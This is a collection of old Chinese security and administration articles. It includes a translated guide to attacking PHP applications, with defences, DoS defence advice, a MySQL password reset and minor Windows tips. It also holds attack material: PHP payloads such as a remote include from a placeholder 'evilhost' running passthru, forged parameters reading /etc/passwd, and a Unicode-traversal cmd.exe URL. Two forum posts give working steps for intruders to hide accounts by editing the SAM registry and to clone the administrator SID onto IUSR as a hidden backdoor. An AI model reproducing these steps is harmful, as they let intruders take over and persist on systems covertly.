如何对PHP程序中的常见漏洞进行攻击

原著：Shaun Clowes <http://www.securereality.com.au/>
翻译：analysist（分析家）

之所以翻译这篇文章，是因为目前关于CGI安全性的文章都是拿Perl作为例子，而专门介绍ASP，PHP或者JSP安全性的文章则很少。Shaun Clowes的这篇文章比较全面地介绍了PHP的安全问题，原文可以在http://www.securereality.com.au/studyinscarlet.txt找到。

由于原文比较长，而且有相当一部分是介绍文章的背景或PHP的基础知识，没有涉及到PHP安全方面的内容，因此我没有翻译。如果你想了解这方面的知识，请参考原文。

文章主要从全局变量，远程文件，文件上载，库文件，Session文件，数据类型和容易出错的函数这几个方面分析了PHP的安全性，并且对如何增强PHP的安全性提出了一些有用的建议。

好了，废话少说，我们言归正传！

[全局变量]
PHP中的变量不需要事先声明，它们会在第一次使用时自动创建，它们的类型也不需要指定，它们会根据上下文环境自动确定。从程序员的角度来看，这无疑是一种极其方便的处理方法。很显然，这也是快速开发语言的一个很有用的特点。一旦一个变量被创建了，就可以在程序中的任何地方使用。这个特点导致的结果就是程序员很少初始化变量，毕竟，当它们第一次创建时，他们是空的。

很显然，基于PHP的应用程序的主函数一般都是接受用户的输入（主要是表单变量，上载文件和Cookie等），然后对输入数据进行处理，然后把结果返回到客户端浏览器。为了使PHP代码访问用户的输入尽可能容易，实际上PHP是把这些输入数据看作全局变量来处理的。

例如：

<FORM METHOD= GET ACTION= test.php >
<INPUT TYPE= TEXT NAME= hello >
<INPUT TYPE= SUBMIT >
</FORM>

很显然，这会显示一个文本框和提交按钮。当用户点击提交按钮时，“test.php”会处理用户的输入，当“test.php”运行时，“$hello”会包含用户在文本框输入的数据。从这里我们应该看出，攻击者可以按照自己的意愿创建任意的全局变量。如果攻击者不是通过表单输入来调用“test.php”，而是直接在浏览器地址栏输入http://server/test.php?hello=hi&setup=no，那么，不止是“$hello”被创建，“$setup”也被创建了。

译者注：这两种方法也就是我们通常说的“POST”和“GET”方法。
下面的用户认证代码暴露了PHP的全局变量所导致的安全问题：

<?php
if ($pass == hello )
$auth = 1;
...
if ($auth == 1)
echo some important information ;
?>

上面的代码首先检查用户的密码是否为“hello”，如果匹配的话，设置“$auth”为“1”，即通过认证。之后如果“$suth”为“1”的话，就会显示一些重要信息。

表面看起来是正确的，而且我们中有相当一部分人是这样做的，但是这段代码犯了想当然的错误，它假定“$auth”在没有设置值的时候是空的，却没有想到攻击者可以创建任何全局变量并赋值，通过类似“http://server/test.php?auth=1”的方法，我们完全可以欺骗这段代码，使它相信我们是已经认证过的。

因此，为了提高PHP程序的安全性，我们不能相信任何没有明确定义的变量。如果程序中的变量很多的话，这可是一项非常艰巨的任务。

一种常用的保护方式就是检查数组HTTP_GET[]或POST_VARS[]中的变量，这依赖于我们的提交方式（GET或POST）。当PHP配置为打开“track_vars”选项的话（这是缺省值），用户提交的变量就可以在全局变量和上面提到的数组中获得。

但是值得说明的是，PHP有四个不同的数组变量用来处理用户的输入。HTTP_GET_VARS数组用来处理GET方式提交的变量，HTTP_POST_VARS数组用于处理POST方式提交的变量，HTTP_COOKIE_VARS数组用于处理作为cookie头提交的变量，而对于HTTP_POST_FILES数组（比较新的PHP才提供），则完全是用户用来提交变量的一种可选方式。用户的一个请求可以很容易的把变量存在这四个数组中，因此一个安全的PHP程序应该检查这四个数组。

[远程文件]
PHP是一种具有丰富特性的语言，提供了大量的函数，使编程者实现某个功能很容易。但是从安全的角度来看，功能越多，要保证它的安全性就越难，远程文件就是说明这个问题的一个很好的例子：

<?php
if (!($fd = fopen( $filename , r ))
echo( Could not open file: $filename<BR>\n );
?>

上面的脚本试图打开文件“$filename”，如果失败就显示错误信息。很明显，如果我们能够指定“$filename”的话，就能利用这个脚本浏览系统中的任何文件。但是，这个脚本还存在一个不太明显的特性，那就是它可以从任何其它WEB或FTP站点读取文件。实际上，PHP的大多数文件处理函数对远程文件的处理是透明的。

例如：
如果指定“$filename”为“http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir”
则上面的代码实际上是利用主机target上的unicode漏洞，执行了dir命令。

这使得支持远程文件的include()，require()，include_once()和require_once()在上下文环境中变得更有趣。这些函数主要功能是包含指定文件的内容，并且把它们按照PHP代码解释，主要是用在库文件上。

例如：
<?php
include($libdir . /languages.php );
?>

上例中“$libdir”一般是一个在执行代码前已经设置好的路径，如果攻击者能够使得“$libdir”没有被设置的话，那么他就可以改变这个路径。但是攻击者并不能做任何事情，因为他们只能在他们指定的路径中访问文件languages.php（perl中的“Poison null byte”攻击对PHP没有作用）。但是由于有了对远程文件的支持，攻击者就可以做任何事情。例如，攻击者可以在某台服务器上放一个文件languages.php，包含如下内容：

<?php
passthru( /bin/ls /etc );
?>

然后把“$libdir”设置为“http://<evilhost>/”，这样我们就可以在目标主机上执行上面的攻击代码，“/etc”目录的内容作为结果返回到客户的浏览器中。

需要注意的是，攻击服务器（也就是evilhost）应该不能执行PHP代码，否则攻击代码会在攻击服务器，而不是目标服务器执行，如果你想了解具体的技术细节，请参考：http://www.securereality.com.au/sradv00006.txt

[文件上载]
PHP自动支持基于RFC 1867的文件上载，我们看下面的例子：

<FORM METHOD= POST ENCTYPE= multipart/form-data >
<INPUT TYPE= FILE NAME= hello >
<INPUT TYPE= HIDDEN NAME= MAX_FILE_SIZE VALUE= 10240 >
<INPUT TYPE= SUBMIT >
</FORM>

上面的代码让用户从本地机器选择一个文件，当点击提交后，文件就会被上载到服务器。这显然是很有用的功能，但是PHP的响应方式使这项功能变的不安全。当PHP第一次接到这种请求，甚至在它开始解析被调用的PHP代码之前，它会先接受远程用户的文件，检查文件的长度是否超过“$MAX_FILE_SIZE variable”定义的值，如果通过这些测试的话，文件就会被存在本地的一个临时目录中。

因此，攻击者可以发送任意文件给运行PHP的主机，在PHP程序还没有决定是否接受文件上载时，文件已经被存在服务器上了。

这里我就不讨论利用文件上载来对服务器进行DOS攻击的可能性了。

让我们考虑一下处理文件上载的PHP程序，正如我们上面说的，文件被接收并且存在服务器上（位置是在配置文件中指定的，一般是/tmp），扩展名一般是随机的，类似“phpxXuoXG”的形式。PHP程序需要上载文件的信息以便处理它，这可以通过两种方式，一种方式是在PHP 3中已经使用的，另一种是在我们对以前的方法提出安全公告后引入的。

但是，我们可以肯定的说，问题还是存在的，大多数PHP程序还是使用老的方式来处理上载文件。PHP设置了四个全局变量来描述上载文件，比如说上面的例子：

$hello = Filename on local machine (e.g /tmp/phpxXuoXG )
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g c:\\temp\\hello.txt )
$hello_type = Mime type of uploaded file (e.g text/plain )

然后PHP程序开始处理根据“$hello”指定的文件，问题在于“$hello”不一定是一个PHP设置的变量，任何远程用户都可以指定它。如果我们使用下面的方式：

http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt

就导致了下面的PHP全局变量（当然POST方式也可以（甚至是Cookie））：

$hello = /etc/passwd
$hello_size = 10240
$hello_type = text/plain
$hello_name = hello.txt

上面的表单数据正好满足了PHP程序所期望的变量，但是这时PHP程序不再处理上载的文件，而是处理“/etc/passwd”（通常会导致内容暴露）。这种攻击可以用于暴露任何敏感文件的内容。

我在前面已经说了，新版本的PHP使用HTTP_POST_FILES[]来决定上载文件，同时也提供了很多函数来解决这个问题，例如有一个函数用来判断某个文件是不是实际上载的文件。这些函数很好的解决了这个问题，但是实际上肯定有很多PHP程序仍然使用旧的方法，很容易受到这种攻击。

作为文件上载的攻击方法的一个变种，我们看一下下面的一段代码：

<?php
if (file_exists($theme)) // Checks the file exists on the local system (no remote files)
include( $theme );
?>

如果攻击者可以控制“$theme”的话，很显然它可以利用“$theme”来读取远程系统上的任何文件。攻击者的最终目标是在远程服务器上执行任意指令，但是他无法使用远程文件，因此，他必须得在远程服务器上创建一个PHP文件。这乍看起来好象是不可能的，但是文件上载帮了我们这个忙，如果攻击者先在本地机器上创建一个包含PHP代码的文件，然后创建一个包含名为“theme”的文件域的表单，最后用这个表单通过文件上载把创建的包含PHP代码的文件提交给上面的代码，PHP就会把攻击者提交的文件保存起来，并把“$theme”的值设置为攻击者提交的文件，这样file_exists()函数会检查通过，攻击者的代码也将执行。

获得执行任意指令的能力之后，攻击者显然想提升权限或者是扩大战果，而这又需要一些服务器上没有的工具集，而文件上载又一次帮了我们这个忙。攻击者可以使用文件上载功能上载工具，把她们存在服务器上，然后利用他们执行指令的能力，使用chmod()改变文件的权限，然后执行。例如：攻击者可以绕过防火墙或IDS上载一个本地root攻击程序，然后执行，这样就获得了root权限。

[库文件]
正如我们前面讨论的那样，include()和require()主要是为了支持代码库，因为我们一般是把一些经常使用的函数放到一个独立的文件中，这个独立的文件就是代码库，当需要使用其中的函数时，我们只要把这个代码库包含到当前的文件中就可以了。

最初，人们开发和发布PHP程序的时候，为了区别代码库和主程序代码，一般是为代码库文件设置一个“.inc”的扩展名，但是他们很快发现这是一个错误，因为这样的文件无法被PHP解释器正确解析为PHP代码。如果我们直接请求服务器上的这种文件时，我们就会得到该文件的源代码，这是因为当把PHP作为Apache的模块使用时，PHP解释器是根据文件的扩展名来决定是否解析为PHP代码的。扩展名是站点管理员指定的，一般是“.php”， “.php3”和“.php4”。如果重要的配置数据被包含在没有合适的扩展名的PHP文件中，那么远程攻击者很容易得到这些信息。

最简单的解决方法就是给每个文件都指定一个PHP文件的扩展名，这样可以很好的防止泄露源代码的问题，但是又产生了新的问题，通过请求这个文件，攻击者可能使本该在上下文环境中运行的代码独立运行，这可能导致前面讨论的全部攻击。

下面是一个很明显的例子：

In main.php:
<?php
$libDir = /libdir ;
$langDir = $libdir/languages ;

...

include( $libdir/loadlanguage.php :
?>

In libdir/loadlanguage.php:
<?php
...

include( $langDir/$userLang );
?>

当“libdir/loadlanguage.php”被“main.php”调用时是相当安全的，但是因为“libdir/loadlanguage”具有“.php”的扩展名，因此远程攻击者可以直接请求这个文件，并且可以任意指定“$langDir”和“$userLang”的值。
[Session文件]
PHP 4或更新的版本提供了对sessions的支持，它的主要作用是在PHP程序中保存页与页之间的状态信息。例如，当一个用户登陆进入网站，他登陆了这个事实以及谁登陆进入这个网站都被保存在session中，当他在网站中到处浏览时，所有的PHP代码都可以获得这些状态信息。

事实上，当一个session启动时（实际上是在配置文件中设置为在第一次请求时自动启动），就会生成一个随机的“session id”，如果远程浏览器总是在发送请求时提交这个“session id”的话，session就会一直保持。这通过Cookie很容易实现，也可以通过在每页提交一个表单变量（包含“session id”）来实现。PHP程序可以用session注册一个特殊的变量，它的值会在每个PHP脚本结束后存在session文件中，也会在每个PHP脚本开始前加载到变量中。下面是一个简单的例子：

<?php
session_destroy(); // Kill any data currently in the session
$session_auth = shaun ;
session_register( session_auth ); // Register $session_auth as a session variable
?>

新版本的PHP都会自动把“$session_auth”的值设置为“shaun”，如果它们被修改的话，以后的脚本都会自动接受修改后的值，这对无状态的Web来说的确是种很不错的工具，但是我们也应该小心。

一个很明显的问题就是确保变量的确来自session，例如，给定上面的代码，如果后续的脚本是下面这样的话：

<?php
if (!empty($session_auth))
// Grant access to site here
?>

上面的代码假定如果“$session_auth”被置位的话，就是从session，而不是从用户输入来置位的，如果攻击者通过表单输入来置位的话，他就可以获得对站点的访问权。注意攻击者必须在session注册该变量之前使用这种攻击方法，一旦变量被放进了session，就会覆盖任何表单输入。

Session数据一般是保存在文件中（位置是可配置的，一般是“/tmp”），文件名一般是类似“sess_<session id>”的形式，这个文件包含变量名称，变量类型，变量值和一些其它的数据。在多主机系统中，因为文件是以运行Web服务器的用户身份（一般是nobody）保存的，因此恶意的站点拥有者就可以通过创建一个session文件来获得对其它站点的访问，甚至可以检查session文件中的敏感信息。

Session机制也为攻击者把自己的输入保存在远程系统的文件中提供了另一个方便的地方，对于上面的例子来说，攻击者需要在远程系统放置一个包含PHP代码的文件，如果不能利用文件上载做到的话，他通常会利用session为一个变量按照自己的意愿赋一个值，然后猜测session文件的位置，而他知道文件名是“php<session id>”，所以只需猜测目录，而目录一般就是“/tmp”。

另外，攻击者可以任意指定“session id”（例如“hello”），然后用这个“session id”创建一个session文件（例如“/tmp/sess_hello”），但是“session id”只能是字母和数字组合。

[数据类型]
PHP具有比较松散的数据类型，变量的类型依赖于它们所处的上下文环境。例如：“$hello”开始是字符串变量，值为“”，但是在求值时，就变成了整形变量“0”，这有时可能会导致一些意想不到的结果。如果“$hello”的值为“000”还是为“0”是不同的，empty()返回的结果也不会为真。

PHP中的数组是关联数组，也就是说，数组的索引是字符串型的。这意味着“$hello[ 000 ]”和“$hello[0]”也是不同的。

开发程序的时候应该仔细地考虑上面的问题，例如，我们不应该在一个地方测试某个变量是否为“0”，而在另外的地方使用empty()来验证。

[容易出错的函数]
我们在分析PHP程序中的漏洞时，如果能够拿到源代码的话，那么一份容易出错的函数列表则是我们非常需要的。如果我们能够远程改变这些函数的参数的话，那么我们就很可能发现其中的漏洞。下面是一份比较详细的容易出错的函数列表：

<PHP代码执行>
require()：读取指定文件的内容并且作为PHP代码解释
include()：同上
eval()：把给定的字符串作为PHP代码执行
preg_replace()：当与“/e”开关一起使用时，替换字符串将被解释为PHP代码

<命令执行>
exec()：执行指定的命令，返回执行结果的最后一行
passthru()：执行指定命令，返回所有结果到客户浏览器
``：执行指定命令，返回所有结果到一个数组
system()：同passthru()，但是不处理二进制数据
popen()：执行指定的命令，把输入或输出连接到PHP文件描述符

<文件泄露>
fopen()：打开文件，并对应一个PHP文件描述符
readfile()：读取文件的内容，然后输出到客户浏览器
file()：把整个文件内容读到一个数组中

译者注：其实这份列表还不是很全，比如“mail()”等命令也可能执行命令，所以需要自己补充一下。
[如何增强PHP的安全性]
我在上面介绍的所有攻击对于缺省安装的PHP 4都可以很好的实现，但是我已经重复了很多次，PHP的配置非常灵活，通过配置一些PHP选项，我们完全可能抵抗其中的一些攻击。下面我按照实现的难度对一些配置进行了分类：

*低难度
**中低难度
***中高难度
****高难度

上面的分类只是个人的看法，但是我可以保证，如果你使用了PHP提供的所有选项的话，那么你的PHP将是很安全的，即使是第三方的代码也是如此，因为其中很多功能已经不能使用。

**** 设置“register_globals”为“off”
这个选项会禁止PHP为用户输入创建全局变量，也就是说，如果用户提交表单变量“hello”，PHP不会创建“$ hello”，而只会创建“HTTP_GET/POST_VARS['hello']”。这是PHP中一个极其重要的选项，关闭这个选项，会给编程带来很大的不便。

*** 设置“safe_mode”为“on”
打开这个选项，会增加如下限制：
1． 限制哪个命令可以被执行
2． 限制哪个函数可以被使用
3． 基于脚本所有权和目标文件所有权的文件访问限制
4． 禁止文件上载功能
这对于ISP来说是一个伟大的选项，同时它也能极大地改进PHP的安全性。

** 设置“open_basedir”
这个选项可以禁止指定目录之外的文件操作，有效地消除了本地文件或者是远程文件被include()的攻击，但是仍需要注意文件上载和session文件的攻击。

** 设置“display_errors”为“off”，设置“log_errors”为“on”
这个选项禁止把错误信息显示在网页中，而是记录到日志文件中，这可以有效的抵制攻击者对目标脚本中函数的探测。

* 设置“allow_url_fopen”为“off”
这个选项可以禁止远程文件功能，极力推荐！

好了，文章到此为止了，如果你想了解一些其它的相关信息，请参考原文
http://www.securereality.com.au/studyinscarlet.txt。


如何防范D.o.S 攻击 安盟(2000-09-24)

    D.o.S(Denial of Service),拒绝服务攻击几乎是从互联网络的诞生以来伴随着互联网络的发展而一直存在也不断发展和升级。早在1988年9月的蠕虫事件可以说是D.o.S攻击的最早的表现形式之一，直到2000年2月份的Yahoo、亚马逊、CNN被D.o.S攻击陷入瘫痪，D.o.S攻击技术给流量飞速增长的互联网络安全带来重大的威胁。
    从某种程度上可以说，D.o.S攻击永远不会消失而且从技术上目前没有非常根本的解决办法。
    D.o.S技术严格的说只是一种破坏网络服务的技术方式，具体的实现多种多样，但都有一个共同点，就是其根本目的是使受害主机或网络失去及时接受处理外界请求，或无法及时回应外界请求。
    D.o.S 攻击的具体表现方式主要有以下几种：
    1、制造高流量无用数据，造成网络拥塞，使受害主机无法正常和外界通讯。
    2、利用受害主机提供的服务或传输协议上的缺陷，反复高速的发出特定的服务请求，使受害主机无法及时处理所有正常请求。
    3、利用受害主机所提供服务中处理数据上的缺陷，反复发送畸形数据引发服务程序错误大量占用系统资源，使主机处于假死状态甚至死机。
    其中第一种攻击非常常见，它的攻击基础必须有几个条件：
    1、高速包的产生。
    2、被攻击主机的带宽无法承受高速包的攻击。
    针对第一种方式，我们来看：在现在的互联网上的网站大多是高带宽的主机，从原理上来讲，单纯的通过直接发包攻击，几乎不可能引起任何阻塞。因为发起攻击的机器带宽可能远远低于这些主机，发出的攻击包只能是象小河的水流向大河一样，自然是波澜不惊了。但sumrf技术和D.o.S技术的出现使得非常容易的从低带宽主机上发起对高带宽主机的攻击了。在Yahoo受到攻击时，它最高时的数据流量大的惊人:1GB/秒。
    如何来防止sumrf攻击呢？
    一些高带宽网络的管理员应该关闭广播包的转发设置，以免被作为sumrf D.o.S攻击的反射板。具体做法以Cisco路由器为例：
    1 、在每个端口应用no ip directed-broadcast
    2 、在可能的情况下，使用访问控制列表，过滤掉所有目标地址为本网络广播地址的包；对于不提供穿透服务的网络，可以在出口路由器上过滤掉所有源地址不是本网地址的数据包。
    对于重要网站主机，为了防御sumf D.o.S攻击可以合理的配置访问控制列表，过滤掉所有可能被利用的广播地址下子网的包。可定期去www.netscan.org去更新广播地址列表。
    下面我们讲一讲另一种D.o.S攻击方式 D.o.S(Distributed Denial Of Service)分布式拒绝服务攻击。
    分布式拒绝服务攻击是一种崭露头角的攻击方法，最早出现于1999年7月。当时还只是在黑客站点上进行的一种理论上的探讨。从2000年2月开始，这种攻击方法开始大行其道。在2月7日到11日的短短几天内，黑客连续攻击了包括Yahoo、Buy.com、eBay、Amazon、CNN等许多知名网站，致使有的站点停止服务达几个小时甚至几十个小时之久。它利用攻击者已经侵入并控制的主机（可能是数百，千台），对某一单机发起攻击。在悬殊的带宽力量对比下，被攻击的主机会很快失去反应。这种攻击方式被证实是非常有效的，而且非常难以抵挡。
    从目前现有的技术角度来讲，还没有一项解决办法针对D.o.S非常有效。所以，防止D.o.S攻击的最佳手段就是防患于未然。也就是说，首先要保证一般的外围主机和服务器的安全，使攻击者无法获得大量的无关主机，从而无法发动有效攻击。一旦单位内部的主机或临近网络的主机被黑客侵入，那么其他的主机被侵入的危险会变得很大。同时，如果网络内部或邻近的主机被用来对本机进行D.o.S攻击，攻击的效果会更明显。所以，必须保证这些外围主机和网络的安全。尤其是那些拥有高带宽和高性能服务器的网络，往往是黑客的首选目标。 保护这些主机最好的办法就是及时了解有关本操作系统的安全漏洞以及相应的安全措施。及时安装补丁程序并注意定期升级系统软件，以免给黑客以可乘之机。
    当攻击发生后，如何检验出来哪些是攻击数据呢？虽然攻击者在传达攻击命令时或发送攻击数据时，都加入了伪装甚至加密，但是其数据包还是有一定特征可循的。最常见的办法是在数据流中搜寻特征字符串。例如在攻击服务器向攻击器发布的攻击命令中，会有特定的命令字符串。搜寻到这些字符串，则可以确定攻击服务器和攻击者的位置。
    管理员还可以通过监视端口使用情况的办法来进行入侵监测。常见的D.o.S工具一般都会有自己特定的通讯方式。例如trin00程序通讯时，经常会用到一些特定端口，例如UDP 31335、UDP 27444、TCP 27665等。本地机中这些端口处于监听状态，则系统很可能已经受到了侵袭。即使黑客已经对端口的位置进行了一定的修改，但如果外部的主机主动向网络内部的高标号端口发起连接请求，则系统很有可能已经受到侵入。这种过程可以通过对防火墙进行设置来加以监测和过滤。 另外，攻击时使用的数据包一般会有一些特征。例如，超长或畸形的ICMP或UDP包等。一般来说，这种包往往是用来进行拒绝服务攻击时才会产生。另外，如果发现数据包本身比较正常，但其中的数据比较特异，例如存在某种加密特性时，很可能是攻击控制器向攻击器所发布的攻击命令。
    最后，可通过一些统计的方法来得到攻击来源。例如，在攻击之前，目标网络的域名服务器往往会接到远远超出正常数量的反向和正向的地址查询。这些查询往往意味着攻击的到来。还可以通过数据流量来判断。比如，在攻击时，攻击数据的来源地址会发出超出正常极限的数据量。这样，对通讯数据量进行统计也可以得到有关攻击系统的位置和数量的信息。


如何恢复MYSQL的ROOT口令

如果你忘记了你的MYSQL的root口令的话，你可以通过下面的过程恢复。
1. 向mysqld server 发送kill命令关掉mysqld server(不是 kill -9),存放进程ID的文件通常在MYSQL的数据库所在的目录中。
kill `cat /mysql-data-directory/hostname.pid`
你必须是UNIX的root用户或者是你所运行的SERVER上的同等用户，才能执行这个操作。
2. 使用'--skip-grant-tables' 参数来启动 mysqld。
3. 使用'mysql -h hostname mysql'命令登录到mysqld server ，用grant命令改变口令。你也可以这样做：'mysqladmin -h hostname -u user password 'new password''。
（其实也可以用use mysql; update user set password =password('yourpass') where user='root'　来做到。）
4. 载入权限表： `mysqladmin -h hostname flush-privileges' ，或者使用 SQL 命令`FLUSH PRIVILEGES'。（当然，在这里，你也可以重启mysqld。）


如何禁止查看用户

1)先看看下面这个图片,用net user无效,也不能加账号!

看看通过计算机管理能不能看到用户情况:

空白一片,无法看到!

如何实现的呢?

看看下面注册表项目:

第二个sam项目右边是空的.

正常情况下应该如下图:

看明白了吗?删除右边的C值就可以达到用net user无法显示用户名,而且也无法增加用户的功能.net
localgroup也无法查看.

这影响不影响原有用户登陆---------当然不影响,如果影响,我也就不写此帖子了.

看来sam注册项目很有意思呀!

看看还有没有好玩的?

有的!

2)下图,我们展开sam键到name子键HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names.我们新建立一个"子键",子键名称为空格.右边的内容不管.

看看有什么效果?

出现了:

用net user出现"清单没有任何项目"的提示.

再看看计算机管理:

和前面的删除sam的C键值一样,什么都不显示.

这两种方法没有区别吗?

有的!

看见没有,可以增加用户!

也就是说只不过用户名称隐藏了.但还是可以用net user的.

还可以用net localgroup,如下:

但用计算机管理查看还是空白一片.

有意思有意思.

有人会问了,你搞这些怎么利用呀?

我已经写得太明白了,相信人人都知道怎样利用!!!

补充:

无雪兄测试了一些,他说第一种方法比较好用.第二种方法不太好用,有时候可以成功.

我还来向无雪兄借了一台肉鸡测试了,可以成功,只要进行简单修改!

按照第二种方法,建立一个空格的项目,右边不动:

如图!

再net user看看!靠,真的不成功!

我们双击键值,再点击确定看看,键值变了.变为空了,之前为默认!(你也可以在键值上随便填写比如fff)

再net user,哈哈,又成功了!!!

这回完美了,对无雪兄表示感谢!

（转载请注明出处，保持文章完整性，如要用于商业行为，请与作者联系）

原作者：醋溜族
来 源：灰色轨迹


如何克隆管理员帐号

Adam 于 4/28/2002 12:08:15 AM 加贴在 绿盟科技论坛(bbs.nsfocus.com)--WinNT安全：

如何克隆管理员帐号

Author:Adam@nsfocus.com
Date:2002-04-28
Site:http://www.sometips.com

经常看到一些人在入侵一台Windows 2000或者Windows NT后堂而皇之地创建一个管理员组的用户，似乎当管理员不存在一般，今天偶违背一下偶以前的初衷，Share一个类似于RootKit的玩艺，当然，这些过程也是可以用脚本实现的，但是我就不写了，OK，Show Time Now。

首先要让大家知道的概念是在Windows 2000和Windows NT里，默认管理员帐号的SID是固定的500（0x1f4），那么我们可以用机器里已经存在的一个帐号将SID为500的帐号进行克隆，在这里我们选择的帐号是IUSR_MachineName（当然，为了加强隐蔽性，我们选择了这个帐号，所有用户都可以用以下的方法，只不过这个用户较常见罢了），测试环境为Windows 2000 Server。

运行一个System的CMD Shell( http://www.sometips.com/tips/scripts/173.htm 或使用 Http://www.sometips.com/soft/psu.exe)，然后在该CMD Shell里面运行
regedit /e adam.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
这样我们将SID 为500的管理员帐号的相关信息导出，然后编辑adam.reg文件，将adam.reg文件的第三行--[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4]最后的"1F4"修改为IUSR_MachineName的SID（大部分的机器该用户的SID都为0x3E9，如果机器在最初安装的时候没有安装IIS，而自己创建了帐号后再安装IIS就有可能不是这个值），将Root.reg文件中的"1F4"修改为"3E9"后执行
regedit /s adam.reg
导入该Reg文件

然后运行
net user IUSR_MachineName Sometips
修改IUSR_MachineName的密码（最好使用14位的密码，越像IUSR_MachineName的密码越好）

OK,大功告成...

这样，我们拥有和默认管理员一样的桌面、一样的Profile.....
而且，当我们运行 net localgroup administrators 时，看看结果：
C:\>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
The command completed successfully.

再看看USER2SID的输出结果：
C:\>user2sid Administrator

S-1-5-21-1004336348-1078145449-854245398-500

Number of subauthorities is 5
Domain is IDONTKNOW
Length of SID in memory is 28 bytes
Type of SID is SidTypeUser

C:\>user2sid iusr_machinename

S-1-5-21-1004336348-1078145449-854245398-1001

Number of subauthorities is 5
Domain is IDONTKNOW
Length of SID in memory is 28 bytes
Type of SID is SidTypeUser

我想，再高明的管理员也看不到任何的异状了...而且，随便管理员改成什么密码，我照样可以用IUSR_MachineName，密码为Sometips登陆...(没有哪位大侠级的管理员喜欢经常修改IUSR_MachineName为其他的名字吧)

^_^，这算不算RootKit...


如何克隆管理员帐号的补充

叮叮 于 4/28/2002 12:32:44 PM 加贴在 绿盟科技论坛(bbs.nsfocus.com)--WinNT安全：

因为昨天回来后，太累倒头就睡了，今天早上起来看到了大家
对这个方法的回到，今天就再对其做一个补充。

很多人提到使用了管理工具的用户管理后，能够发现IUSR_MachineName被提升了权限。
现给出解决办法。

方法同上，不过这次修改内容多一些。即
这次要导出两个key内容：
一个是adam提到的
regedit /e adam.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
然后另外一个是你需要修改那个账号的值
regedit /e iusr.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003E9

然后按照adam提到的修改adam.reg
“将adam.reg文件的第三行--[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4]最后的"1F4"修改为IUSR_MachineName的SID”

现在，你还要从iusr.reg文件中复制一下内容
就是将iusr.reg文件中“"V"=hex:0”开始一直到iusr.reg文件结束部分复制下来
然后替换掉adam.reg中同样位置的部分

最后使用
regedit /s adam.reg
导入该Reg文件
呵呵，别忘了给这个IUSR_MachineName改密码哦。
hehe,ok，大功告成。
现在IUSR_MachineName账号拥有了管理员的权限，但是你使用net.exe和
管理工具中的用户管理都将看不到任何痕迹，即使你去察看所属于的组和用户。
都和修改前没有任何区别。

好了，补充结束。

附：
1、感谢Adam的热情款待和巧妙的构思
2、任何用以上方法进行试验所导致的系统无法使用均与偶无关，偶均不提供技术支持...


如何每隔几分钟执行一下某个程序？

NT自带一个强大的计划任务工具，AT命令，但在这里派不上用，如果真使用AT命令那可要输入上百条命令呢，那是不可能的。但是Windows NT Resource Kit里却有些好东西可以帮助我们。

头一个是sleep.exe，用户可以使一个命令等待X秒，它的用法就是sleep <等待的秒数>，如果用户希望一个程序每1分钟运行一次，可以编辑下面的批处理命令：

sleep 60
<某个可执行文件的文件名>
<这个批处理文件的名称>

这样会带来一个问题，在这1分钟内命令会话必须保持打开。当然这也可能通过以不同线程运行程序，只要在批处理前面加上start就行了。

另一种方法是使用SOON.EXE，它可以在从现在起X秒后执行一个任务，运行这个命令必须启动scheduler服务，我们仍然使用批处理文件来使用SOON.EXE：

soon 300 <批处理文件名>
<可执行文件名>
在SOON开始执行后，如果用户希望停止它，则需要使用AT命令来获得当前计划任务列表：

C:\>at

ID Day Time Command Line
-------------------------------------------------------------------------------
0 Today 9:04 AM runsoon.cmd

在用户知道了ID号以后就可以使用AT命令中止这个计划任务。具体格式为：

C:\>at [\\计算机名] ID /delete，例如：C:\>at 0 /delete


如何配置Windows 2000机器使之能够进行IP转发？

在NT4中我们可以在TCP/IP配置中设置机器进行IP转发，可是在Windows 2000中就要在注册表中进行设置了。

打开注册表编辑器
找到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
设置IPEnableRouter为1
重新启动计算机
加上两块网块，这样一台计算机就可以当路由器用了。


如何配置服务器使它支持asp,cgi,php,mysql

iis5和pws都支持asp,然后你只要安装一个access就可以了。
下面说说如何要他们支持cgi.

1)pws下配置activePerl,使pws支持cgi程序

要想在pws支持cgi，可以安装activeperl.步骤如下:

首先在windows98下装好pws40(在windows光盘的add-ons目录里)，然后下载activePerl,在http://www.actives

tate.com/，安装，建议装在c:\usr目录下，因为一般cgi程序第一行都要申明cgi解释程序的路径(#!/usr/bin/

perl)。
修改注册表
找到: HKEY_LOCAL_MACHINE\System\Currentcontrlset\Services\W3svc\Parameters\ScriptMap\ 目录增加下

面的键值:
    键名: ".cgi" 键值: "C:\USR\BIN\perl.exe %s %s"
    键名: ".pl" 键值: "C:\USR\BIN\perl.exe %s %s"
接下来为PWS添加虚拟目录，（在个人web管理的高级选项里）目录别名为：CGI-BIN，把访问属性设为：执行，

目录位置为本地硬盘的任何目录（CGI程序就存放在这个目录中）。
设置都ok了，可以写个程序测试一下：
    写个test.cgi，放在CGI-BIN这个目录下，代码如下
    #!/usr/bin/perl
    print "Content-type:text/html\n\n";
    print "<TITLE>呵呵，我的服务器可以支持cgi了</TITLE>";
    print "hello,world!!!";

在浏览器地址栏中键入http://你的ip/cgi-bin/test.cgi，如果在浏览器中显示：hello,world!!!　那就说明

你的服务器配置成功了。

2)IIS5.0下配置ActivePerl，使IIS5.0支持CGI程序。

先安装好iis，在windows2k的删除添加程序里的windows组件里。然后下载最新版的Perl解释程序ActivePerl，

很多地方都有，如华军软件园，也可以去http://www.activestate.com 安装，建议安装在c:/usr目录下。
修改注册表
    找到: HKEY_LOCAL_MACHINE\System\Currentcontrlset\Services\W3svc\Parameters\ScriptMap\ 目录增

加以下键值:
    键名: ".cgi" 键值: "C:\USR\BIN\perl.exe %s %s"
    键名: ".pl" 键值: "C:\USR\BIN\perl.exe %s %s"

